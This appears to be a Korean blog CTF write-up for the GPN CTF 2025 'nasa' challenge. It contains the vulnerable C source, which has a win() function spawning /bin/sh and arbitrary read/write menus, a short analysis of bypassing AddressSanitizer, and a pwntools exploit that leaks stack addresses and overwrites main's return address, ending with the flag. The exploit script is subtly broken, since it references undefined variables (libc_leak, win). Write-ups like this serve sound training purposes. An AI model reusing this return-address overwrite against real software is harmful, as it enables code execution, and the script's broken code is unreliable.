728x90
반응형
1. intro
2. code 및 분석
2.1. code
// gcc -Og -g3 -w -fsanitize=address nasa.c -o nasa
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
void win() {
puts("YOU WIN!!!\n");
system("/bin/sh");
exit(0);
}
void provide_help(void *stack_ptr) {
printf("%p\n", stack_ptr);
printf("%p\n", &win);
}
int main(void) {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
long long option;
provide_help(&option);
while (1) {
puts("[1] Write [2] Read [3] Exit");
if (scanf("%llu", &option) != 1)
break;
if (option == 1) {
puts("8-byte adress and 8-byte data to write please (hex)");
uintptr_t addr;
uint64_t val;
scanf("%lx %lx", &addr, &val);
*((uint64_t *)addr) = val;
} else if (option == 2) {
puts("8-byte adress to read please (hex)");
uintptr_t addr;
scanf("%lx", &addr);
printf("%lx\n", *((uint64_t *)addr));
} else if (option == 3) {
puts(":wave:");
break;
} else {
puts("Invalid option");
}
}
return 0;
}
2.2. 분석
실행 시 stack과 win 함수의 주소를 출력하며, 1번 메뉴로 aaw, 2번 메뉴로 aar이 가능하다.
3. 취약점 확인 및 공격 준비
3.1. 취약점
-
3.2. 공격 준비
libasan 라이브러리로 인해 이런저런 오류나 변조를 감지하여 감지된 경우 오류 메시지와 함께 바이너리를 종료해버린다.
더불어 스택의 랜덤화도 함께 이루어지기 때문에 특정 주소를 구하기가 조금 난해해진다.
따라서 처음 주어진 stack 주소에서 얻을 수 있는 정보를 토대로 두번째 주소를 얻고, 마찬가지로 여기서 다시 정보를 얻는 방식으로 최종적으로 environ에서 main의 stack address를 leak한 다음 main의 ret을 win 함수로 변조하였다.
또한 win 함수로 return 시 movaps issue가 발생하여 win + 5로 return했다.
4. exploit
from pwn import *
debug = True
#debug = False
path = './nasa'
elf = ELF(path)
libc = elf.libc
if debug == True:
io = process([path])#, env={"LD_PRELOAD":""})
elf = ELF(path)
else:
io = remote("mountford-of-everlasting-gold.gpn23.ctf.kitctf.de", "443", ssl=True)
script ='''
'''
def hexmsg(name, val):
info(f"{name} = {hex(val)}")
def main():
io = remote("lakecity-of-nuclear-grade-unity.gpn23.ctf.kitctf.de", "443", ssl=True)
#gdb.attach(io, script)
stack_leak = int(io.recvline()[:-1],16)
code = int(io.recvline()[:-1],16)
hexmsg('libc',libc_leak)
hexmsg('code',code)
context.log_level = 'debug'
io.sendlineafter(b'Exit\n',b'2')
io.sendlineafter(b'hex)\n',str(hex(code + 0x2cbf)).encode())
stage_one = int(io.recvline()[:-1],16)
hexmsg('stage_one', stage_one)
io.sendlineafter(b'Exit\n',b'2')
io.sendlineafter(b'hex)\n',str(hex(stage_one + 0x68a5ee - 0x6e52a8)).encode())
stage_two = int(io.recvline()[:-1],16)
hexmsg('stage_two', stage_two)
ret = stage_two - 0x130
hexmsg('ret',ret)
io.sendlineafter(b'Exit\n',b'1')
io.sendlineafter(b'hex)\n',str(hex(ret)).encode() + str(' ').encode() + str(hex(win + 5)).encode())
io.interactive()
return
if __name__ == "__main__":
main()
# GPNCTF{al1_wrI73S_4re_PRoTEc73d_8y_45AN_0nly_1N_Y0UR_Dr3amS_9438}
728x90
반응형
'CTF > Solved' 카테고리의 다른 글
GPN CTF 2025 - Note Editor (0) | 2025.06.22 |
---|---|
GPN CTF 2025 - no-nc (1) | 2025.06.22 |
NahamCon 2025 CTF - Lost Memory (0) | 2025.05.30 |
BREAK THE SYNTAX CTF - HexDumper (0) | 2025.05.11 |
Dreamhack CTF Season 7 Round #9 (🚩Div1) - chain-lightning (0) | 2025.05.03 |